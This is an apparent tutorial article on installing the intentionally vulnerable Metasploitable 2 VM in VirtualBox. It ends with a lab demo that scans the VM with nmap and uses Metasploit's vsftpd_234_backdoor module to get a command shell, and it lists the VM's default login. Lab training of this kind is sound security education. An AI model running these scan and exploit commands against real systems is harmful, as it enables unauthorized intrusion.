Open In App

How to install Metasploitable 2 in VirtualBox

Let’s first discuss what Metasploitable is, it is a testing environment that is very useful for beginner who wants to practice and test their penetration testing skills and security research. It is a target machine that is used to discover and penetrate vulnerabilities so that the user gets an idea of real-life targets and machines.

In other words, Metasploitable is a virtual machine intentionally vulnerable version of Ubuntu designed for testing security tools and demonstrating common vulnerabilities.



To install this virtual machine in your virtual box, We assume that you have a virtual box installed on your system.

Installation

Step 1:  Download the Metasploitable 2 file. 



 

Step 2: The file initially will be in zip format so we need to extract it, after extracting the file open VirtualBox.

 

Step 3: Now as shown in the above image click on the new option in the Virtual box.

 

Name: as per your choice
Path: leave as recommended
Type: Linux
Version: other (64-bit)

 

Step 4: Select the RAM you want to provide to the virtual machine. recommended (512Mb).

 

Step 5: Now choose the option to use an existing virtual hard disk file.

 

Step 6: Now save the file and you will see that the instance is created with the name you have given.

 

 

Step 7. once the instance is loaded you will be asked to provide a login name and password. By default the credentials are :

Default login: msfadmin
Default password: msfadmin

 

Demo of penetration testing with Metasploitable 2

Step 1: open your both machines Metasploitable 2 and kali Linux side by side.

 

Step 2: let’s check the IP addresses of both machines to get an overview of the target machine.

msfadmin@metasploitable:~$ ifconfig

Step 3: now we will be performing a network scan with the help of the Nmap tool to see what services are running on target and which are way into the target.

root-user-#/ $ nmap -sV -O 192.168.10.5

 

Step 4:  Now that we have all the info related to the exploit that we need to use i.e. vsftpd_backdoor so now we can use Metasploit to exploit the machine and get access to the command shell. which will eventually give us access to the target machine.

root-user-#/ $ msfconsole

Step 5: Now all we need to do is deploy the exploit into the target machine with the help of msfconsole, to do so we need to follow some basic steps that are:

msf6~/ use exploit/unix/ftp/vsftpd_234_backdoor
msf6~/ (unix/ftp/vsftpd_234_backdoor): show options

 

msf6~/ (unix/ftp/vsftpd_234_backdoor): set RHOST 192.168.10.5

Step 6: The final step is to run the exploit, by command exploit.

msf6~/ (unix/ftp/vsftpd_234_backdoor): exploit

 

Step 7: Verify by using some command shell commands like print the working directory or ls items in a folder.

pwd, ls -l, ls -a etc

Conclusion:

Metasploitable 2 is a great machine to practice and learn about penetration testing and hacking, while it comes with so many vulnerabilities and flaws that you can keep on digging and make your pen testing skills better. Currently, another version of Metasploitable is also available you can also go with that the process of configuring and installation is the same as above.

In the above article, we have learned how to install Metasploitable version 2 successfully and seen a demo of exploitation with the most famous and basic exploit that is vsftpd_backdoor, there are many more exploits and techniques to learn and practice.

Article Tags :